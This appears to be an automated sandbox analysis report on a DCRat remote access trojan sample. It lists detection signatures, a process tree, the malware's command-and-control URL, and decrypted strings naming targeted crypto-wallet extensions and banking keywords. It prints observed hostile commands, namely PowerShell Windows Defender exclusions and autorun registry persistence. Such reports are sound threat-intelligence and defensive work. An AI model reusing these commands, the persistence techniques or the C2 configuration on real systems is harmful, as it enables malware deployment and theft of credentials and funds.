Edit tour

Windows Analysis Report
t8xf0Y1ovi.exe

Overview

General Information

Sample name:	t8xf0Y1ovi.exe renamed because original name is a hash value
Original sample name:	38924c8184bf5944da2ac3e5cd987da2.exe
Analysis ID:	1552931
MD5:	38924c8184bf5944da2ac3e5cd987da2
SHA1:	1af0d4b729dd9c3a42c197a4ec961cab5722adda
SHA256:	e767887e30b91919d5dc1dd2bf79ed277c2778363732e7c84f42f1f1808e5908
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files to the user root directory

Drops PE files with benign system names

Found many strings related to Crypto-Wallets (likely being stolen)

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: System File Execution Location Anomaly

Tries to harvest and steal browser information (history, passwords, etc)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

t8xf0Y1ovi.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\t8xf0Y1ovi.exe" MD5: 38924C8184BF5944DA2AC3E5CD987DA2)

decFF62.tmp (PID: 6888 cmdline: C:\Users\user\AppData\Local\Temp\decFF62.tmp MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

csc.exe (PID: 5020 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 3492 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD2D.tmp" "c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 2336 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6220 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7068 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7048 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7120 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7768 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7212 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7336 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7432 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

RuntimeBroker.exe (PID: 7732 cmdline: "C:\Users\Default\Recent\RuntimeBroker.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

dllhost.exe (PID: 7312 cmdline: C:\Users\Default\dllhost.exe MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

dllhost.exe (PID: 7328 cmdline: C:\Users\Default\dllhost.exe MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

kzyTFNNJbez.exe (PID: 7388 cmdline: "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

kzyTFNNJbez.exe (PID: 7420 cmdline: "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

services.exe (PID: 7484 cmdline: "C:\Program Files\Windows Portable Devices\services.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

services.exe (PID: 7520 cmdline: "C:\Program Files\Windows Portable Devices\services.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

svchost.exe (PID: 8180 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 4632 cmdline: "C:\Users\Default\dllhost.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

services.exe (PID: 6848 cmdline: "C:\Program Files\Windows Portable Devices\services.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

kzyTFNNJbez.exe (PID: 5696 cmdline: "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

dllhost.exe (PID: 6524 cmdline: "C:\Users\Default\dllhost.exe" MD5: 37D00592110CA3CC53B7F6CA6AB1C82A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Local\Temp\decFF62.tmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Local\Temp\decFF62.tmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files\Windows Portable Devices\services.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\Default\dllhost.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
0000002A.00000002.3129151130.000000000330B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000001.00000000.1658474906.0000000000F92000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.1658146051.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: t8xf0Y1ovi.exe PID: 6848	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: decFF62.tmp PID: 6888	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 7732	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.0.decFF62.tmp.f90000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Default\dllhost.exe, CommandLine: C:\Users\Default\dllhost.exe, CommandLine|base64offset|contains: , Image: C:\Users\Default\dllhost.exe, NewProcessName: C:\Users\Default\dllhost.exe, OriginalFileName: C:\Users\Default\dllhost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\Default\dllhost.exe, ProcessId: 7312, ProcessName: dllhost.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ProcessId: 6888, TargetFilename: C:\Users\Default\Recent\RuntimeBroker.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\Recent\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ProcessId: 6888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentImage: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentProcessId: 6888, ParentProcessName: decFF62.tmp, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', ProcessId: 2336, ProcessName: powershell.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 185.50.25.59, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe, Initiated: true, ProcessId: 7732, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Users\Default\dllhost.exe, CommandLine: C:\Users\Default\dllhost.exe, CommandLine|base64offset|contains: , Image: C:\Users\Default\dllhost.exe, NewProcessName: C:\Users\Default\dllhost.exe, OriginalFileName: C:\Users\Default\dllhost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\Default\dllhost.exe, ProcessId: 7312, ProcessName: dllhost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\Default\Recent\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ProcessId: 6888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Users\Default\Recent\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ProcessId: 6888, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentImage: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentProcessId: 6888, ParentProcessName: decFF62.tmp, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", ProcessId: 5020, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ProcessId: 6888, TargetFilename: C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentImage: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentProcessId: 6888, ParentProcessName: decFF62.tmp, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe', ProcessId: 2336, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Program Files\Windows Portable Devices\services.exe", CommandLine: "C:\Program Files\Windows Portable Devices\services.exe", CommandLine|base64offset|contains: >i^, Image: C:\Program Files\Windows Portable Devices\services.exe, NewProcessName: C:\Program Files\Windows Portable Devices\services.exe, OriginalFileName: C:\Program Files\Windows Portable Devices\services.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Program Files\Windows Portable Devices\services.exe", ProcessId: 7484, ProcessName: services.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentImage: C:\Users\user\AppData\Local\Temp\decFF62.tmp, ParentProcessId: 6888, ParentProcessName: decFF62.tmp, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline", ProcessId: 5020, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:22:31.604684+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49734	TCP
2024-11-09T22:23:12.425705+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49849	TCP

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:22:14.868236+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	185.50.25.59	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.phpP	Avira URL Cloud: Label: malware
Source: http://b902470r.beget.tech	Avira URL Cloud: Label: malware
Source: http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php	Avira URL Cloud: Label: malware
Source: http://b902470r.beget.tech/DarkCrystal/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\Default\dllhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Windows Portable Devices\services.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\AlYgfivS.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\GtEXSWHd.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\JxaDAGRw.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Found malware configuration

Source: 1.0.decFF62.tmp.f90000.0.unpack

Malware Configuration Extractor: DCRat {"C2 url": "http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	ReversingLabs: Detection: 83%
Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	ReversingLabs: Detection: 83%
Source: C:\Program Files\Windows Portable Devices\services.exe	ReversingLabs: Detection: 83%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	ReversingLabs: Detection: 83%
Source: C:\Users\Default\dllhost.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	ReversingLabs: Detection: 83%
Source: C:\Users\user\Desktop\GtEXSWHd.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\JNcVLOYU.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\JxaDAGRw.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\LYmDRkwM.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\PNpMSdEO.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\PynuHVwq.log	ReversingLabs: Detection: 23%
Source: C:\Users\user\Desktop\RAZddEBm.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\TgtTkjWe.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\UPplfwcz.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\WorcGBQa.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\aWyAiOqN.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\cmzTJCKp.log	ReversingLabs: Detection: 23%
Source: C:\Users\user\Desktop\dkabfCZj.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\jNBixaWB.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\mHEzoazq.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\ruVxRXPe.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\vWgyxgGx.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\xHLPEuRq.log	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: t8xf0Y1ovi.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Default\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\FHjMtJQD.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\JNcVLOYU.log	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Portable Devices\services.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ISGNtcvE.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AlYgfivS.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\GtEXSWHd.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: t8xf0Y1ovi.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.0.decFF62.tmp.f90000.0.unpack	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"75400db8-4680-4af7-97bd-c8a76b65b9c4":{"_0":"BAnkwnbkhCaYEoBMKTiQwHgdSRXjlyyb","_1":"Thanks for downloading!","_2":"You can close this window","_3":"Information","_4":"OK"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"}}
